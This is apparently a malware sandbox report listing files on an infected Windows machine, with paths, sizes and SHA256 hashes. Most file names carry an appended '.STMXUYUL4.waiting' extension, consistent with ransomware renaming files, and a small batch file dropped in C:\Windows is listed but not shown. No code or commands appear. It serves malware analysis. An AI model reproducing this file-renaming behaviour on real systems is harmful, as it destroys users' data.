                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Sigma\Content STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 6396d1ea57d1a8e31bc4a971d53490044edbf026ae03099effb80b34c3629540
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Cryptomining STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Sigma\Cryptomining STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 368a81f0e1f994933f8c7a3ffd7761195499a8f51559139e0d8879710ec04433
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Entities STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Sigma\Entities STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 46KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 5dd1e49e3d9c658f2923a427a5333977a659109a93838cb871a947f709e75d10
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Fingerprinting STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Sigma\Fingerprinting STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 c320dbbf0fbe74cccbec3775d26e3413c21c91b0c47e1182af0d847201e48972
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                LICENSE STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Sigma\LICENSE STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 dfa8dd6312c2e3bb9d0b1a6b7e0cf0efbc2c297d790b533f52304ca027869102
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Other STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Sigma\Other STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 00a357dcbc202410283a378e9e7dca5f5369e3ab0ed830b886e0b19decc29e51
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Social STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Sigma\Social STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 7KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 38b68c17cdc813db1275a337928f663b371f6932913aff4a1a31df62bba44930
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Staging STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Sigma\Staging STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 20KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 d4bc05e44695dcc8b2e0d0ad684557967898b7ee44b84af83a12e8f6d49e0da3
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                manifest.json STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\manifest.json STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 466cb5d6f940b4eec0f410b706af0467c8b3b6516cdee7f31aa96196d2740438
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Logo.png STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\VisualElements\Logo.png STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 36KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 c66367c955e844daf8a7b1dd44c8635c361edf55ab325a77fd058a9e71c95b62
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                LogoBeta.png STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\VisualElements\LogoBeta.png STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 33KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 38937af1ad9afb55a0eee57b93a54dab829352e84dc8a801c93bdedce57f374b
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                LogoCanary.png STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\VisualElements\LogoCanary.png STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 34KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 34d9d45288c27f178eb383ec7159bd49e05fdd5ce6b7b1df3a0d63afe8624d24
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                LogoDev.png STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\VisualElements\LogoDev.png STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 33KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 4a290aa99d891576d54b87882cd411d3d7ae3ee4a6648d4383609df14dbe5854
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                SmallLogo.png STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\VisualElements\SmallLogo.png STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 19KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 8dbf22ffcaf7d27d0b8084123a40427d2f16cbb45a7b0ec9293fe1b0bf189580
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                SmallLogoBeta.png STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\VisualElements\SmallLogoBeta.png STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 19KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 92286e99def2ce11fc4e57b6ebb3c554d3cca78aa06516ff7786474f74990263
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                SmallLogoCanary.png STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\VisualElements\SmallLogoCanary.png STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 19KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 8a72c2cdd2379eec6efc96b9c34465370108a91dcfc2d30551f38c657f77557f
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                SmallLogoDev.png STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\VisualElements\SmallLogoDev.png STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 18KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 970108c22d2af74d1dafc077fbcf04a78fee10172ed501a93511ed42ce2e2490
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                widevinecdm.dll.sig STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\WidevineCdm\_platform_specific\win_x64\widevinecdm.dll.sig STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 5KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 4f640a69a50cc1350529674f890c0523ce0d75b90fdcbe872b5767e78836d2f7
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                manifest.json STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\WidevineCdm\manifest.json STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 5KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 ecc031dbc6729dcd1cb5d3dbf031b87446422dc822338ef8a68a888e48dd9f41
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                stable.identity_helper.exe.manifest STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_proxy\stable.identity_helper.exe.manifest STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 86f8c660fb38e4d91fec79bb7e0e8ce75979ae2af25bc1ccab3673e9d0643d5b
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                notification_helper.exe STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\notification_helper.exe STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 1.6MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 fe4c09daeb254c08b798496eb91ba0a1a5232a765d9183d0ac10d0f2baa62f91
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                resources.pak STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\resources.pak STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 33.0MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 ccf9dc4f170f228605ab0d42b6268641fc91af1d2ad35aeaa067db53274eb144
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                v8_context_snapshot.bin STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\v8_context_snapshot.bin STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 712KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 f3fcf4a595f9bac0503bde6ff7fe7d584a84fa5a9bd234c734ddcb006f6720f2
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                vk_swiftshader_icd.json STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\vk_swiftshader_icd.json STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 674aeb20a06c33e7a0a93031e38b7205797c156585463a218d909cb611753dcd
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files\WindowsApps\Microsoft.BingNews_1.0.6.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 9KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 c9f48d32edbfe0257b2750464a0a5e2c2f30d4df37008be72618667737662254
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files\WindowsApps\Microsoft.BingWeather_1.0.6.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 9KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 5030b76bbded7dbacde28b07737bfe1ac304c4a2e289b82a8cf709ca2d0e1d2e
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                resources.9aa3b2ef.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.42251.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\resources.9aa3b2ef.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 22KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 6291a5c88feb6d386aee37062fe631d6449cee1389d57f7d9476afc6f338c502
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                EdgeGameAssist.winmd STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files\WindowsApps\Microsoft.Edge.GameAssist_1.0.3456.0_x64__8wekyb3d8bbwe\EdgeGameAssist.winmd STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 1fedcc168ac033f5344c2dadb131ed5cbf87f1dfebd272e4fbb7b137d3ab5d27
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files\WindowsApps\Microsoft.GamingApp_2105.900.24.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 6KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 edfe50c02f6cabb1885f6a3c9482e2893154b9e46d17646f8a3cc65d283d5a87
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                resources.5fc40a27.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files\WindowsApps\Microsoft.GetHelp_10.2008.32311.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\resources.5fc40a27.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 15KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 6b625b5600dd0457bf885434cca2326bb43afb6ecf5b8dda5457350eac762b93
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2104.12721.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 591KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 d937fab38dcde8cfc6114b0b85354807e573789b78ddf4c4bbc83433dbed6ebc
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_4.0.2.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 7KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 ecb808a4f9563013ff4cc0abf1bfc92ba12bbc9972fede1327880427468662d7
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files\WindowsApps\Microsoft.Paint_10.2104.17.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 43KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 42be3d18dc23c642df1e7678648af481360d97d769444d3bb6db1287f1da2f89
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files\WindowsApps\Microsoft.People_10.1909.12456.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 78KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 7523909d7049d7214c0145aca5e157785c348038f747194c33aa2f956cde6655
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files\WindowsApps\Microsoft.PowerAutomateDesktop_1.0.65.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 6KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 e6812a205a2df4d3b35efa79dfd112e69618dbcdcf1e9742f64be558e66d5186
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2104.2.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri
                                                                                                                                                                                                                                                                                                                                                                                • Size 30KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 2cb86f8a18116e84d541f2ab0a3c3ce34532c43c2c223fad7d0cfc6c98cef00f
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files\WindowsApps\Microsoft.Todos_0.33.33351.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-2824035265-2271499813-2042964211-1000-MergedResources-0.pri STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 7KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 14e5facc8e6f243a7daccd6dff9425ba96c46c5166ceb45008c85fe615c9bbc7
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Manifest.xml STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\Manifest.xml STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 4.3MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 7c803fc613927ad0542af191c5926030e31e993780bf6cdb9606433aa58ec58b
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                26C212D9399727259664BDFCA073966E_912C3CA51DE6018A7BE4CA7BC64AAFCD
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\Content\26C212D9399727259664BDFCA073966E_912C3CA51DE6018A7BE4CA7BC64AAFCD
                                                                                                                                                                                                                                                                                                                                                                                • Size 1KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 56115dfe108b99d5b6e3bdc47674074440a6e23ddbc3fa4a619b7a6d27224db3
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                26C212D9399727259664BDFCA073966E_912C3CA51DE6018A7BE4CA7BC64AAFCD
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\26C212D9399727259664BDFCA073966E_912C3CA51DE6018A7BE4CA7BC64AAFCD
                                                                                                                                                                                                                                                                                                                                                                                • Size 1KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 80978e9a26290fd1c5fccd7d90f8ed48dfa9f9293f45ab2b785cf713e884bd8c
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                File Explorer.lnk STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\File Explorer.lnk STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 1KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 9ee4ecf9c3260dedd4b095769a00c1277a508555da453cf2b527c04342576323
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Firefox.lnk STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Firefox.lnk STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 2KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 a011d0446dd18968b28873076bb95136a05213e7afe4f09c1123895da186cfb6
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Google Chrome.lnk STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 3KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 90da3e7f57650c5f3e82a1dcd51046cfe2f698d31e22e4d654e2d7b5378d96ff
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                cab1.cab STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\All Users\Package Cache\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\packages\vcRuntimeMinimum_amd64\cab1.cab STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 793KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 ee89409ca19883b8fce5b926dce083eddf61203a4276ee636b80292c7bca58ea
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                rwjfk.bat
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Windows\rwjfk.bat
                                                                                                                                                                                                                                                                                                                                                                                • Size 144B
